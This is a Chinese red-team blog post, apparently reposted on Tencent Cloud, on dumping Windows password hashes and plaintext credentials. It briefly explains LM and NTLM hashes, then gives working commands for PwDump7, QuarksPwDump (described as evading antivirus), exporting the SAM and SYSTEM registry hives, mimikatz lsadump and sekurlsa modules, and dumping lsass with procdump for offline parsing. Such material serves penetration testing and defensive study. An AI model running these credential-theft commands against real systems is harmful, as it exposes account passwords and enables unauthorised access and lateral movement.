前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Windows - Hash散列值抓取方法

Windows - Hash散列值抓取方法

作者头像
渗透攻击红队
发布2020-11-25 10:44:54
发布2020-11-25 10:44:54
1.9K00
代码可运行
举报
文章被收录于专栏:漏洞知识库漏洞知识库
运行总次数:0
代码可运行

LM Hash 和 NTLM Hash

Windows 操作系统通常使用两种方法对用户的明文密码进行加密处理。

在域环境中,用户信息存储在 ntds.dit 中,加密后为散列值。

在 Windows 操作系统中,Hash 的结构通常如下:

代码语言:javascript
代码运行次数:0
运行
复制
username:RID:LM-HASH:NT-HASH

LM Hash(LAN Manager Hash)其本质是 DES 加密。在 Windows 2008 及开始之后默认禁用的是 LM Hash。

NTLM Hash 是基于 MD4 加密算法进行加密的,服务器从 Windows Server 2003 以后,Windows 操作系统的认证方式均为 NTLM Hash。

Windows Hash 散列值抓取

‍‍‍‍‍要想在 Windows 操作系统中抓取散列值或明文密码,必须将权限提升为 System。本地用户名,散列值和其他安全验证信息都保存在 SAM 文件中。

lsass.exe 进程用于实现 Windows 的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的 lsass.exe 进程或 SAM 文件中导出。‍‍‍‍‍


GetPassword


在命令行运行 Getpassword 即可获取明文密码


PwDump7

在命令行环境中运行 PwDump7 程序,可以得到系统中所有账户的 NTLM Hsh:(必须要有系统权限才能运行)

下载地址:https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump7.zip


QuarkPwDump

在命令行下输入:导出三个用户的 NTML Hash

代码语言:javascript
代码运行次数:0
运行
复制
QuarksPwDump.exe --dump-hash-local

QuarksPwDump 不过杀软。


通过 SAM 和 System 文件抓取密码

(1)导出 SAM 和 System 文件:通过 reg 的注册表导出

代码语言:javascript
代码运行次数:0
运行
复制
reg save hklm\sam sam.hive
reg save hklm\system system.hive

(2)通过读取 SAM 和System 文件获得 NTLM Hash

1、使用mimikatz读取SAM和System文件

将导出的 system.hive 和 sam.hive 文件放到 mimikatz 文件夹下,然后运行mimikatz命令:

代码语言:javascript
代码运行次数:0
运行
复制
lsadump::sam /sam:sam.hive /system:system.hive

2、使用mimikatz直接读取本地 SAM文件,导出Hash信息

该方法与1不同的是,需要在目标机器上运行mimikatz:

代码语言:javascript
代码运行次数:0
运行
复制
#提升权限
privilege::debug
#提升权限为system
token::elevate
#读取本地SAM文件,获得NTLM Hash
lsadump::sam

使用 Mimikatz 在线读取 SAM 文件

在目标mimikatz目录下运行命令,在线读取散列值及明文密码:

代码语言:javascript
代码运行次数:0
运行
复制
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

使用 Mimikatz 离线读取 lsass.dmp 文件

(1)导出lsass.dmp文件

通过 procdump.exe 文件导出lsass.dmp文件

procdump 下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

在命令行输入命令会生成一个 lsass.dmp 文件:

代码语言:javascript
代码运行次数:0
运行
复制
procdump.exe -accepteula -ma lsass.exe lsass.dmp

(2)使用mimikatz导出lsass.dmp文件中的密码散列值

首先将导出的lsass.dmp文件放到mimikatz的目录下,然后输入命令:

如果有 Switch to MINIDUMP 说明加载成功

代码语言:javascript
代码运行次数:0
运行
复制
sekurlsa::minidump lsass.dmp

最后运行命令导出密码散列值:

代码语言:javascript
代码运行次数:0
运行
复制
sekurlsa::logonPasswords full

参考文章:

https://zhuanlan.zhihu.com/p/220277028

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-11-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档